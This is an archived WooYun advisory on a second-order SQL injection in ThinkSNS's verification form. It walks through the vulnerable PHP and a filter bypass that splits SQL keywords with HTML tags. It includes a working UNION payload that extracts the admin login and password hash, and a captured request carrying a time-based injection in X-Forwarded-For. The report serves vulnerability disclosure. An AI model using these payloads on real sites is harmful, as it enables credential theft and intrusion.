当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(15) 关注此漏洞

缺陷编号: WooYun-2014-79805

漏洞标题: ThinkSNS某处二次注入Bypass防御获取任意数据

相关厂商: ThinkSNS

漏洞作者: xfkxfk认证白帽子

提交时间: 2014-10-18 08:09

公开时间: 2014-12-30 14:44

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 php源码审核 sql注射漏洞利用技巧 php源码分析 白盒测试

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-18: 细节已通知厂商并且等待厂商处理中
2014-10-23: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-12-17: 细节向核心白帽子及相关领域专家公开
2014-12-27: 细节向普通白帽子公开
2015-01-06: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

ThinkSNS某处二次注入Bypass防御获取任意数据

详细说明:

第一部分:漏洞分析

文件/apps/public/Lib/Action/AccountAction.class.php

code 区域
/**
* 提交申请认证
* @return void
*/
public function doAuthenticate(){
$verifyInfo = D('user_verified')->where('uid='.$this->mid)->find();
$data['usergroup_id'] = intval($_POST['usergroup_id']);
if(!$data['usergroup_id']) $data['usergroup_id'] = 5;
$data['company'] = t($_POST['company']);
$data['realname'] = t($_POST['realname']);
$data['idcard'] = t($_POST['idcard']);
$data['phone'] = t($_POST['phone']);
$data['reason'] = t($_POST['reason']);
//$data['info'] = t($_POST['info']);
$data['attach_id'] = t($_POST['attach_ids']);//attach_ids通过t函数过滤
if(D('user_verified_category')->where('pid='.$data['usergroup_id'])->find()){
$data['user_verified_category_id'] = intval($_POST['verifiedCategory']);
}else{
$data['user_verified_category_id'] = 0;
}
$Regx1 = '/^[0-9]*$/';
$Regx2 = '/^[A-Za-z0-9]*$/';
$Regx3 = '/^[A-Za-z|\x{4e00}-\x{9fa5}]+$/u';
......
preg_match_all('/./us', $data['reason'], $matchs); //一个汉字也为一个字符
if(count($matchs[0])>140){
//$this->error('认证理由不能超过140个字符');
echo '认证理由不能超过140个字符';exit;
}
// preg_match_all('/./us', $data['info'], $match); //一个汉字也为一个字符
// if(count($match[0])>140){
// $this->error('认证资料不能超过140个字符');
// }
if($verifyInfo){
$data['verified'] = 0;
$res = D('user_verified')->where('uid='.$verifyInfo['uid'])->save($data);//data数据进入数据库
}else{
$data['uid'] = $this->mid;
$res = D('user_verified')->add($data);
}
if($res){
//echo '1';
model('Notify')->sendNotify($this->mid,'public_account_doAuthenticate');
$touid = D('user_group_link')->where('user_group_id=1')->field('uid')->findAll();
foreach($touid as $k=>$v){
model('Notify')->sendNotify($v['uid'], 'verify_audit');
}
//return $this->ajaxReturn(null, '申请成功,请等待审核', 1);
echo '1';
}else{
//$this->error("申请失败");
echo '申请失败';exit;
}
}



此时attach_ids已经进入数据库了

下面来看看出库的地方

code 区域
/**
* 申请认证
* @return void
*/
public function authenticate(){
$auType = model('UserGroup')->where('is_authenticate=1')->findall();
$this->assign('auType', $auType);
$verifyInfo = D('user_verified')->where('uid='.$this->mid)->find();
if($verifyInfo['attach_id']){
$a = explode('|', $verifyInfo['attach_id']);
foreach($a as $key=>$val){
if($val !== "") {
$attachInfo = D('attach')->where("attach_id=$a[$key]")->find();//attach_id在这里进入数据库
$verifyInfo['attachment'] .= $attachInfo['name'].'&nbsp;<a href="'.getImageUrl($attachInfo['save_path'].$attachInfo['save_name']).'" target="_blank">下载</a><br />';
}
}
}



可以看到,取出attach_id后,通过|分割,然后再次计入了数据库

这里没有引号保护,导致sql注入

所以只要我们在attach_id插入恶意数据即可二次触发



第二部分:bypass绕过分析

来看看t函数是否能绕过

/core/OpenSociax/functions.inc.php

code 区域
/**
* t函数用于过滤标签,输出没有html的干净的文本
* @param string text 文本内容
* @return string 处理后内容
*/
function t($text){
$text = nl2br($text);
$text = real_strip_tags($text);
$text = addslashes($text);
$text = trim($text);
return $text;
}



这里有一个real_strip_tags函数来看看

code 区域
function real_strip_tags($str, $allowable_tags="") {
$str = html_entity_decode($str,ENT_QUOTES,'UTF-8');
return strip_tags($str, $allowable_tags);
}



这里将html过滤掉了

综上,当恶意sql语句进入t时,首先将html标签过滤,然后进入addslashes

那么我们在sql关键字中插入html标签即可绕过全局防御了

如select=se<a>lect,这样绕过了全局,最后又变成了select,成功绕过

漏洞证明:

1、前台登陆,在个人信息处,申请认证

code 区域
http://localhost/thinksns/index.php?app=public&mod=Account&act=Authenticate



2、然后提交时,抓包,将attach_ids修改为:

code 区域
attach_ids=%7C76%7C-1 un<a>ion se<a>lect 1,2,3,4,5,6,7,(se<a>lect co<a>ncat(login,0x23,password) fr<a>om ts_user li<a>mit 1),9,10,11,12,13,14,15,16,17,18,19,20#%7C



请求如下:

code 区域
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: */*
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/thinksns/index.php?app=public&mod=Account&act=authenticate
Content-Length: 156
Cookie: CNZZDATA80862620=cnzz_eid%3D1277534265-1407229558-%26ntime%3D1411435759; bdshare_firstime=1407229707189; pgv_pvi=3674949632; cuz_auth=W25fXgRlUGYBbgdpB28EYFoyAmVSDgJnAg0CZgNjUT5VYQo7VzZXNFBmU2UBYQVhAj5SNFRiUTVXMAFkCGhUYFtpX2cENlBgATMHYgczBDVaNwIyUjcCYwI0Al8DMQ; cuz_userid=1; cuz_username=admin123; cej_username=admin123; cej_auth=fhtuNEBwVjcReA5jMQgdKnEVeklmPnVMWFpWYGMOA2RgBAJoVGReahoqJxI7Cg45R3dCcAw%2BX2dmDHVCVzooFH4cbg1AI1YxESUOaDFUHX9xEHoeZgd1SFhjVlljXA; cej_userid=1; PHPSESSID=2b74f139fdd6ec4d629fc2bce0a85e95; CNZZDATA1702264=cnzz_eid%3D2084647819-1413523648-http%253A%252F%252Flocalhost%252F%26ntime%3D1413523648; T3_online_update=1413552570; T3_TSV3_LOGGED_USER=fb8DZUmtTTQ17neIIPi6M7u8bJccMAEj
X-Forwarded-For: **.**.**.**',`email`=(if(mid(user(),1,1)=char(114),sleep(3),0))#
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

usergroup_id=&company=&realname=%E5%95%8A%E5%95%8A%E5%95%8A&idcard=111111111111111111&phone=13111111111&reason=111111&verifiedCategory=1&attach_ids=%7C76%7C-1 un<a>ion se<a>lect 1,2,3,4,5,6,7,(se<a>lect co<a>ncat(login,0x23,password) fr<a>om ts_user li<a>mit 1),9,10,11,12,13,14,15,16,17,18,19,20#%7C



3、然后回到第1步:

访问

code 区域
http://localhost/thinksns/index.php?app=public&mod=Account&act=Authenticate



此时在认证附件处显示管理员账户信息:

111111.png





当然如果条件满足的话直接GetShell也是ok的

修复方案:

1、where后面的条件为嘛不加保护咧?

2、防御逻辑出错了

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-10-18 17:37 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )
    1

    http://loudong.360.cn/vul/info/id/26385 在这里获得了3000元。还提啊

  2. 2014-10-18 17:47 | kill ( 路人 | Rank:4 漏洞数:5 | >-<)
    0

    楼上的 冷少linso 是你吧

  3. 2014-10-20 11:01 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2313 漏洞数:351 | 呵呵!)
    0

    @老和尚 求数字漏洞细节,谢谢

  4. 2014-10-23 21:19 | phith0n 认证白帽子 ( 普通白帽子 | Rank:816 漏洞数:126 | 一个想当文人的黑客~)
    1

    @xfkxfk 那个可能是我之前提交的http://wooyun.org/bugs/wooyun-2010-079186,我这个是文件包含getshell的

  5. 2014-10-24 09:09 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2313 漏洞数:351 | 呵呵!)
    1

    @phith0n 公开了你就知道了是不是一样的

  6. 2014-10-24 10:58 | phith0n 认证白帽子 ( 普通白帽子 | Rank:816 漏洞数:126 | 一个想当文人的黑客~)
    0

    @xfkxfk 数字的洞不会公开吧。。。。

登录后才能发表评论,请先 登录